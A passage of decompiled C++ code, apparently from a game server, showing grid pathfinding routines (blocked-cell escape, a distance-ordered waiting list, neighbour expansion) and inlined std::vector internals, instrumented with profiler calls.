[sp+38h] [bp+8h]@1 signed int startya; // [sp+3Ch] [bp+Ch]@1 _.fe_FunctionCode = "Navigator::MapNavigator::mn_ExitFromBlock"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_ExitFromBlock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int *)startx; v5 = starty; v6 = *starty; v7 = vm; ox = *startx; v8 = *startx - *starty; v19 = 0; oy = v6; startya = 1; startxa = v6 + 1; for ( i = v8; ; v8 = i ) { v9 = startxa + v8; *v4 = v9; *v5 = v6; vma = v9; if ( !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v6) || (*v4 = ox - startya, v15 = ox - startya, *v5 = v6, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v6)) || (*v4 = ox, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (v10 = v6 - startya, *v4 = ox, *v5 = v10, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10)) || (*v4 = vma, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (*v4 = v15, *v5 = startxa, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, startxa)) || (*v4 = vma, *v5 = v10, !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10)) ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); return 1; } *v4 = v15; *v5 = v10; if ( !Navigator::VirtualMap::vm_IsBlocked(v7, *v4, v10) ) break; v12 = __OFSUB__(startya + 1, 50); v11 = startya++ - 49 < 0; ++startxa; if ( !(v11 ^ v12) ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_ExitFromBlock"); return 0; } v6 = oy; } v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (00590F10) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall std::vector>::_Ufill(std::vector > *this, SHINE_XY_TYPE *_Ptr, unsigned int _Count, SHINE_XY_TYPE *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00590F40) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00590FB0) -------------------------------------------------------- void __thiscall std::vector>::_vector>(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst ) operator delete(this->_Myfirst); v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00590FE0) -------------------------------------------------------- bool __thiscall Navigator::WaitingList::wl_Pop(Navigator::WaitingList *this, int *x, int *y) { Navigator::WaitingList *v3; // esi@1 Navigator::UnitPointWithDistance *v4; // ecx@1 bool result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_Pop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->wl_Stack._Myfirst; if ( v4 && v3->wl_Stack._Mylast - v4 ) { *x = v4->upwd_X; *y = v4->upwd_Y; std::_Copy_opt( (GroupExpDistribute::NearFriendInformation *)&v4[1], (GroupExpDistribute::NearFriendInformation *)v3->wl_Stack._Mylast, (GroupExpDistribute::NearFriendInformation *)v4, (std::_Nonscalar_ptr_iterator_tag)x); --v3->wl_Stack._Mylast; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); result = 0; } return result; } //----- (005910F0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::UnitPointWithDistance *v3; // eax@3 void *v4; // eax@6 TickTimer *v5; // ST04_4@6 TickTimer *v6; // ST00_4@6 Navigator::UnitPointWithDistance *v7; // ebx@6 int v8; // edi@7 signed int v9; // edx@8 Navigator::UnitPointWithDistance *v10; // ecx@10 Navigator::UnitPointWithDistance *v11; // eax@10 char *v12; // eax@13 int v13; // [sp+0h] [bp-20h]@1 char *_Ptr; // [sp+Ch] [bp-14h]@6 int *v15; // [sp+10h] [bp-10h]@1 int v16; // [sp+1Ch] [bp-4h]@6 v15 = &v13; v2 = this; if ( _Count > 0x15555555 ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (Navigator::UnitPointWithDistance *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = operator new(12 * _Count); v5 = (TickTimer *)v2->_Mylast; v6 = (TickTimer *)v2->_Myfirst; _Ptr = (char *)v4; v16 = 0; std::_Uninit_copy>( v6, v5, (TickTimer *)v4, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Count); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { v10 = v2->_Mylast; v11 = v2->_Myfirst; if ( v7 != v10 ) { do ++v11; while ( v11 != v10 ); } operator delete(v2->_Myfirst); } v12 = _Ptr; v2->_Myend = (Navigator::UnitPointWithDistance *)&_Ptr[12 * _Count]; v2->_Mylast = (Navigator::UnitPointWithDistance *)&v12[12 * v8]; v2->_Myfirst = (Navigator::UnitPointWithDistance *)v12; } } //----- (005911E1) -------------------------------------------------------- void __usercall _L84423(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00591200) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPointWithDistance *_Val) { std::vector > *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 Navigator::UnitPointWithDistance *v7; // ecx@1 unsigned int v8; // ebx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ebx@15 int v14; // eax@18 TickTimer *v15; // ST18_4@22 Navigator::UnitPointWithDistance *v16; // ecx@22 int v17; // eax@23 int v18; // edi@25 Navigator::UnitPointWithDistance *v19; // edx@26 Navigator::UnitPointWithDistance *v20; // eax@26 TickTimer *v21; // ecx@30 std::vector >::iterator v22; // ebx@30 Navigator::UnitPointWithDistance *v23; // ecx@31 TickTimer *v24; // ST24_4@31 unsigned int v25; // edi@31 int v26; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v28; // [sp+10h] [bp-18h]@1 int v29; // [sp+14h] [bp-14h]@1 int *v30; // [sp+18h] [bp-10h]@1 int v31; // [sp+24h] [bp-4h]@22 TickTimer *_Wherea; // [sp+30h] [bp+8h]@32 TickTimer *_Counta; // [sp+34h] [bp+Ch]@22 void *_Newvec; // [sp+38h] [bp+10h]@22 TickTimer *_Newveca; // [sp+38h] [bp+10h]@30 v4 = this; v5 = _Val->upwd_Y; v6 = _Val->upwd_Dist; _Tmp = _Val->upwd_X; v7 = this->_Myfirst; v30 = &v26; v28 = v5; v29 = v6; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v7 ) v11 = v4->_Mylast - v7; else v11 = 0; if ( 357913941 - v11 < _Count ) std::vector>::_Xlen(v4); if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( v8 >= _Count + v12 ) { v21 = (TickTimer *)v4->_Mylast; v22 = _Where; _Newveca = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v21[-_Count]; v4->_Mylast = (Navigator::UnitPointWithDistance *)std::_Uninit_copy>( &v21[-_Count], v21, v21, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v21 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v22, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v22, (TickTimer *)(*(_DWORD *)&v22 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>( *(TickTimer **)&_Where, v21, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v23 = v4->_Mylast; v24 = (TickTimer *)v4->_Mylast; v31 = 2; std::vector>::_Ufill( (std::vector > *)v4, v24, _Count - (signed int)((char *)v23 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (Navigator::UnitPointWithDistance *)v25; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v25 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v8 >> 1) >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v7 ) v14 = v4->_Mylast - v7; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size((std::vector > *)v4); _Newvec = operator new(12 * v13); v15 = (TickTimer *)v4->_Myfirst; v31 = 0; _Counta = std::_Uninit_copy>( v15, *(TickTimer **)&_Where, (TickTimer *)_Newvec, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v10, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Counta[v10], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v10; if ( v16 ) { v19 = v4->_Mylast; v20 = v4->_Myfirst; if ( v16 != v19 ) { do ++v20; while ( v20 != v19 ); } operator delete(v4->_Myfirst); } v4->_Myend = (Navigator::UnitPointWithDistance *)((char *)_Newvec + 12 * v13); v4->_Mylast = (Navigator::UnitPointWithDistance *)((char *)_Newvec + 12 * v18); v4->_Myfirst = (Navigator::UnitPointWithDistance *)_Newvec; } } } //----- (005914D0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPoint *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 Navigator::UnitPoint *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 Navigator::UnitPoint *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+38h] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->up_Y; v5 = this; _Tmp = _Val->up_X; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (Navigator::UnitPoint *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (Navigator::UnitPoint *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (Navigator::UnitPoint *)((char *)v14 + _Counta); v5->_Mylast = (Navigator::UnitPoint *)((char *)v14 + 8 * v18); v5->_Myfirst = (Navigator::UnitPoint *)v14; } } } //----- (00591720) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPoint _Val) { Navigator::UnitPoint *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( (std::vector > *)this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00591790) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int __formal) { void *v2; // esi@1 GroupExpDistribute::NearFriendInformation *v3; // ebp@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@6 GroupExpDistribute::NearFriendInformation *v7; // edi@7 int v8; // eax@8 int v9; // eax@11 int v10; // eax@15 GroupExpDistribute::NearFriendInformation *v11; // ebp@18 unsigned int v12; // eax@21 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(GroupExpDistribute::NearFriendInformation **)(__formal + 4); if ( v3 ) { v4 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)(__formal + 8) - (signed int)v3)) >> 32) >> 1; v5 = v4 + ((unsigned int)v4 >> 31); if ( v5 ) { v7 = (GroupExpDistribute::NearFriendInformation *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 12; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::_Copy_opt( v3, *(GroupExpDistribute::NearFriendInformation **)(__formal + 8), v7, (std::_Nonscalar_ptr_iterator_tag)__formal); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 12 * (*(_DWORD *)(__formal + 8) - v9) / 12; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 12; else v10 = 0; if ( v5 <= (unsigned int)v10 ) { v11 = &v3[std::vector>::size((std::vector > *)v2)]; std::_Copy_opt( *(GroupExpDistribute::NearFriendInformation **)(__formal + 4), v11, v7, (std::_Nonscalar_ptr_iterator_tag)__formal); *((_DWORD *)v2 + 2) = std::_Uninit_copy>( (TickTimer *)v11, *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) operator delete(*((void **)v2 + 1)); v12 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v12) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(TickTimer **)(__formal + 4), *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (00591910) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPointWithDistance _Val) { std::vector > *v3; // esi@1 Navigator::UnitPointWithDistance *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 GroupExpDistribute::NearFriendInformation *v7; // edi@10 GroupExpDistribute::NearFriendInformation *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = (GroupExpDistribute::NearFriendInformation *)v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = (GroupExpDistribute::NearFriendInformation *)&v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = (Navigator::UnitPointWithDistance *)std::_Copy_opt( v7, v7, v8, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (005919C0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Navigator::NaviPoint *_Val) { std::vector > *v4; // edi@1 Navigator::NaviPoint *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00591A30) -------------------------------------------------------- void __thiscall Navigator::WaitingList::WaitingList(Navigator::WaitingList *this) { this->wl_Stack._Myfirst = 0; this->wl_Stack._Mylast = 0; this->wl_Stack._Myend = 0; std::vector>::reserve( &this->wl_Stack, 0x3E8u); } //----- (00591A80) -------------------------------------------------------- void __thiscall Navigator::WaitingList::wl_Push(Navigator::WaitingList *this, int x, int y, int d) { Navigator::WaitingList *v4; // esi@1 std::vector >::iterator v5; // eax@1 Navigator::UnitPointWithDistance *v6; // ecx@1 Navigator::UnitPointWithDistance _Val; // [sp+8h] [bp-18h]@4 int i; // [sp+1Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_Push"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_Push"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (std::vector >::iterator)v4->wl_Stack._Myfirst; v6 = v4->wl_Stack._Mylast; for ( i = 0; (Navigator::UnitPointWithDistance *)v5 != v6; *(_DWORD *)&v5 += 12 ) { if ( *(_DWORD *)(*(_DWORD *)&v5 + 8) >= d ) break; } _Val.upwd_Dist = d; _Val.upwd_X = x; _Val.upwd_Y = y; std::vector>::_Insert_n( &v4->wl_Stack, v5, 1u, &_Val); --funcallanalizer.fca_stackpoint; i = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Push"); } //----- (00591B50) -------------------------------------------------------- int __thiscall Navigator::WaitingList::wl_StoreNeighbor(Navigator::WaitingList *this, Navigator::PathFindArgument *pfarg, int centerx, int centery, Navigator::UnitPoint *goal, int stepsize, Navigator::NaviPoint *start) { int v7; // ebx@1 int v8; // ebp@1 int v10; // eax@3 int v11; // edi@5 Navigator::PathFindCell *v12; // esi@14 unsigned int v13; // eax@19 int v14; // esi@20 int v15; // eax@22 bool v16; // sf@24 unsigned __int8 v17; // of@24 int v18; // esi@25 int v19; // [sp-4h] [bp-2Ch]@18 Navigator::PathFindCell *centercell; // [sp+10h] [bp-18h]@1 Navigator::WaitingList *thisa; // [sp+14h] [bp-14h]@1 int centerxa; // [sp+30h] [bp+8h]@3 thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_StoreNeighbor"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = centery; v8 = centerx; centercell = Navigator::PathFindBuffer::operator__( pfarg->pfa_PointBuffer, (Navigator::UnitPoint)__PAIR__(centery, centerx)); if ( !centercell ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); return (int)&wholesaver.ws_savestore[9].esc_abstate.buffer[30551]; } v10 = 0; for ( centerxa = 0; ; v10 = centerxa ) { v11 = v8; switch ( v10 ) { case 0: v11 = v8 + 1; break; case 4: v11 = v8 + 1; goto $L74822; case 1: $L74822: ++v7; break; case 5: v11 = v8 + 1; goto $L74824; case 3: $L74824: --v7; break; case 6: ++v7; goto $L74823; case 7: --v7; goto $L74823; case 2: $L74823: v11 = v8 - 1; break; default: break; } v12 = Navigator::PathFindBuffer::operator__(pfarg->pfa_PointBuffer, (Navigator::UnitPoint)__PAIR__(v7, v11)); if ( v12 ) { if ( Navigator::VirtualMap::vm_IsBlocked( pfarg->pfa_Map, start->np_RealX + stepsize * v11, start->np_RealY + stepsize * v7) ) { if ( v11 == goal->up_X && v7 == goal->up_Y ) { v19 = 0; LABEL_23: Navigator::WaitingList::wl_Push(thisa, v11, v7, v19); goto LABEL_24; } } else { v13 = pfarg->pfa_Emptyflag; if ( v12->pfc_EmptyFlag != v13 ) { v12->pfc_EmptyFlag = v13; v12->fpc_Step = centercell->fpc_Step + 1; v12->fpc_From.up_X = v8; v12->fpc_From.up_Y = centery; v15 = Navigator::VirtualMap::vm_DistanceCalc(pfarg->pfa_Map, v11, v7, goal->up_X, goal->up_Y); v12->fpc_Distance = v15; v19 = v15; goto LABEL_23; } v14 = v12->fpc_Step; if ( centercell->fpc_Step > v14 + 1 ) { centercell->fpc_Step = v14 + 1; centercell->fpc_From.up_X = v11; centercell->fpc_From.up_Y = v7; } } } LABEL_24: v17 = __OFSUB__(centerxa + 1, 8); v16 = centerxa++ - 7 < 0; if ( !(v16 ^ v17) ) break; v7 = centery; } v18 = centercell->fpc_Distance; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); return v18; } //----- (00591D60) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Navigator::UnitPoint *_Val) { std::vector > *v2; // esi@1 Navigator::UnitPoint *v3; // edx@1 signed int v4; // ecx@2 Navigator::UnitPoint *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v2->_Mylast, 1u, (SHINE_XY_TYPE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00591DD0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Navigator::NaviPoint *_Val) { std::vector > *v2; // esi@1 Navigator::NaviPoint *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 Navigator::NaviPoint *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TickTimer *)v2->_Mylast, 1u, (TickTimer *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00591E50) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::nm_MakePath(Navigator::MapNavigator *this, Navigator::VirtualMap *map, Navigator::UnitPoint goal, Navigator::NaviPoint *start, int maxdepth, StaticVector *pathbuffer) { int v6; // ebp@1 int v7; // ebx@2 int v8; // edi@2 Navigator::PathFindCell *v9; // eax@3 std::vector >::iterator v10; // esi@8 int v11; // eax@8 int result; // eax@12 int v13; // esi@16 _DWORD *v14; // esi@18 int v15; // eax@18 Navigator::NaviPoint *v16; // edi@18 int v17; // edx@18 int v18; // ebx@18 unsigned int v19; // edx@18 std::vector > *v20; // ebp@19 int v21; // eax@20 int v22; // edx@20 Navigator::MapNavigator *v23; // [sp+10h] [bp-20h]@1 unsigned int pnt; // [sp+18h] [bp-18h]@18 unsigned int v25; // [sp+1Ch] [bp-14h]@18 char v26; // [sp+20h] [bp-10h]@18 int v27; // [sp+2Ch] [bp-4h]@1 v23 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::nm_MakePath"; 